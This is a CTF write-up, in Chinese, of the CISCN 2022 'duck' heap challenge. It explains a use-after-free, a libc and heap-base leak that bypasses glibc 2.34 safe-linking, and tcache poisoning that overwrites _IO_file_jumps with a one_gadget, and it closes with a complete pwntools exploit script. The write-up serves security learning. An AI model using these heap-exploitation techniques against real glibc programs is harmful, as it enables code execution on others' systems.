Featured image of post [CISCN 2022 华东北]duck wp

[CISCN 2022 华东北]duck wp

字数: 1963

__IO_file_jumps 劫持攻击。

题面

压缩包提供 二进制文件,ld 和 libc。

1
2
3
ld.so
libc.so.6
pwn

分析

checksec 查看保护:全开。

1
2
3
4
5
6
7
8
9
 pwn checksec ./pwn
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2022_华东北-duck/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

strings 查看 libc 版本: 2.34

1
2
❯ strings libc.so.6| grep 'GNU C Library'
GNU C Library (GNU libc) stable release version 2.34.

这个 libc 居然提供了 debug info,省去 glibc-all-in-one 找 debug info 写 build-id 一堆麻烦事了。
ida pro 静态分析,菜单,看来是堆题。

这里为了方便,把 label 都补全了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-4h]

  sub_1547(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = recive();
      if ( v3 != 4 )
        break;
      edit();
    }
    if ( v3 > 4 )
    {
LABEL_13:
      puts(s: "Invalid choice");
    }
    else if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        add();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        del();
      }
    }
  }
}

我们挨个看: menu()recive() 就不展开了。

add()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int add()
{
  int i; // [rsp+4h] [rbp-Ch]
  void *v2; // [rsp+8h] [rbp-8h]

  v2 = malloc(size: 0x100u);
  for ( i = 0; i <= 19; ++i )
  {
    if ( heaplist[i] == 0 )
    {
      heaplist[i] = v2;
      puts(s: "Done");
      return 1;
    }
  }
  return puts(s: "Empty!");
}

写固定死了分配的大小为 0x100。

del()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int del()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts(s: "Idx: ");
  v1 = recive();
  if ( v1 <= 20 && heaplist[v1] != 0 )
  {
    free(ptr: (void *)heaplist[v1]);
    return puts(s: "Done");
  }
  else
  {
    puts(s: "Not allow");
    return v1;
  }
}

这里用 free 释放后没有对 heaplist 置零,存在 UAF。

show()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts(s: "Idx: ");
  v1 = recive();
  if ( v1 <= 20 && heaplist[v1] != 0 )
  {
    puts(s: (const char *)heaplist[v1]);
    return puts(s: "Done");
  }
  else
  {
    puts(s: "Not allow");
    return v1;
  }
}

通过 heaplist 打印堆内容。

edit()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int edit()
{
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  puts(s: "Idx: ");
  v1 = recive();
  if ( v1 <= 20 && heaplist[v1] != 0 )
  {
    puts(s: "Size: ");
    v2 = recive();
    if ( v2 > 0x100 )
    {
      return puts(s: "Error");
    }
    else
    {
      puts(s: "Content: ");
      writ(a1: heaplist[v1], a2: v2);
      puts(s: "Done");
      return 0;
    }
  }
  else
  {
    puts(s: "Not allow");
    return v1;
  }
}

这里居然问写入大小,不过不能超过 0x100,没有堆溢出利用。

程序每次 add 会分配 0x110 大小的 chunks:

第一个 0x290 的 chunks 是 tcache_perthread_struct 不用管。

利用

因为 free 后没有对 heaplist 置零,所以可以通过 unsorted bins 拿到 main_arena 进而拿到 libc 基址。
glibc 2.32 对 tcache 引入了异或加密。我们知道,tcache 是单链表结构,每个 tcache free chunks 都会保存 fd 指针。但是 libc 3.32 后对其加密了:

1
2
3
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

对右移 12 位后的 fd/exit 字段所在的内存地址与指针值进行异或加密。但因为右移 12 位后,实际每 4k 页都有共同的加密项。而且,对于 tcache[0] 而言,它的 next 指针本身就是 0,异或 0 实际还是它本身。所以可以由此拿到 heap 基址(pos » 12)。这就是 save-linking 绕过。

拿到 heap 基址后就可以解开同页下的 chunks fd,实施 tcache poisoning。

首先封装操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def add():
    io.recvuntil(b"Choice:")
    io.sendline(b"1")


def delete(idx: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"2")
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())


def show(idx: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"3")
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())


def edit(idx: int, size:int,content: bytes):
    io.recvuntil(b"Choice:")
    io.sendline(b"4")
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content: ")
    io.sendline(content)

要利用 unsortedbin 需要把 tcache 填满,然后 free 掉,让一个 free chunk 置入 unsortedbin。

1
2
3
4
5
for i in range(9):
    add()  # 0~8

for i in range(8):
    delete(i)  # 0~7

不能全 free 完,不然会触发 top chunks 合并把 unsortedbin 项给合并了不好调试而且容易错误。

这时候 7 就是在 unsortedbin 内,指向 main_arena。

用 UAF 读出这个值,就能计算 libc base。

1
2
3
4
5
6
7
show(7)  # unsorted bin leak libc
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 96
print("main arena=", hex(main_arena))
libc_base = main_arena - libc.sym["main_arena"]
print("libc base address =", hex(libc_base))
iOFileJumps = libc_base + libc.sym["_IO_file_jumps"]
oneGadget = libc_base + 0xDA864

libc 有 3 个 one_gadget,挨个试总可以的。

还有 _io_file_jumps 地址,后面劫持用。
拿到 libc base,再通过 tcache[0] 拿 加密项(heap_base):

1
2
3
show(0)  # tcache[0] leak heap base
heap_base = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00"))
print("heap base address =", hex(heap_base))

之后就是 tcache poisoning。
将 tcache[6] ~ tcache[2] 用掉,留两个:chunk0, chunk1

然后将 chunk 1 的 fd 篡改为 __IO_file_jumps 地址。

1
edit(1, 0x100, p64(heap_base ^ iOFileJumps))  # 把 chunk0 从 tcache 数组剥离,现在 0 没有用了。chunk1 之后指向 _io_file_jumps

此时,chunk[0] 就被抛弃了,因为 chunk1 的 fd 地址改成了 _io_file_jumps。在 add() 后 chunk1 被使用,此时 tcachebins 只剩下 chunk1 原本 fd 指针:_io_file_jumps。
接下来再 add,heaplist 就放了 _io_file_jumps 地址,我们拿到 _io_file_jumps 地址,而且可以通过 edit 做写入操作。

1
2
add()  # 14 取出 chunk1
add()  # 15 取出 _io_file_jumps,往 heaplist 写 _io_file_jumps 地址

可以在 pwndbg 用 p _IO_file_jumps 得到 _IO_file_jumps 指向的结构:

一般篡改 __overflow 项为 one_gadget,这样在程序正常 exit,fflush,puts 之类的时候都会从 __overflow

1
edit(15, 0x100, p64(0) * 3 + p64(oneGadget))

之后就拿到 shell 了:

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from os import wait

from pwn import *

context.log_level = 'info'

io = process("./pwn")
#io = remote("node4.anna.nssctf.cn", 28473)
libc = ELF("./libc.so.6")
elf = ELF("./pwn")


def add():
    io.recvuntil(b"Choice:")
    io.sendline(b"1")


def delete(idx: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"2")
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())


def show(idx: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"3")
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())


def edit(idx: int, size:int,content: bytes):
    io.recvuntil(b"Choice:")
    io.sendline(b"4")
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content: ")
    io.sendline(content)


for i in range(9):
    add()  # 0~8

for i in range(8):
    delete(i)  # 0~7

show(7)  # unsorted bin leak libc
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 96
print("main arena=", hex(main_arena))
libc_base = main_arena - libc.sym["main_arena"]
print("libc base address =", hex(libc_base))
iOFileJumps = libc_base + libc.sym["_IO_file_jumps"]
oneGadget = libc_base + 0xDA864


show(0)  # tcache[0] leak heap base
heap_base = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00"))
print("heap base address =", hex(heap_base))

for i in range(5): # 消耗 tcache 中的 6 ~ 2 还剩下 0, 1
    add()  # 8~13


edit(1, 0x100, p64(heap_base ^ iOFileJumps))  # 把 chunk0 从 tcache 数组剥离,现在 0 没有用了。chunk1 之后指向 _io_file_jumps
add()  # 14 取出 chunk1
add()  # 15 取出 _io_file_jumps,往 heaplist 写 _io_file_jumps 地址
edit(15, 0x100, p64(0) * 3 + p64(oneGadget))

io.interactive()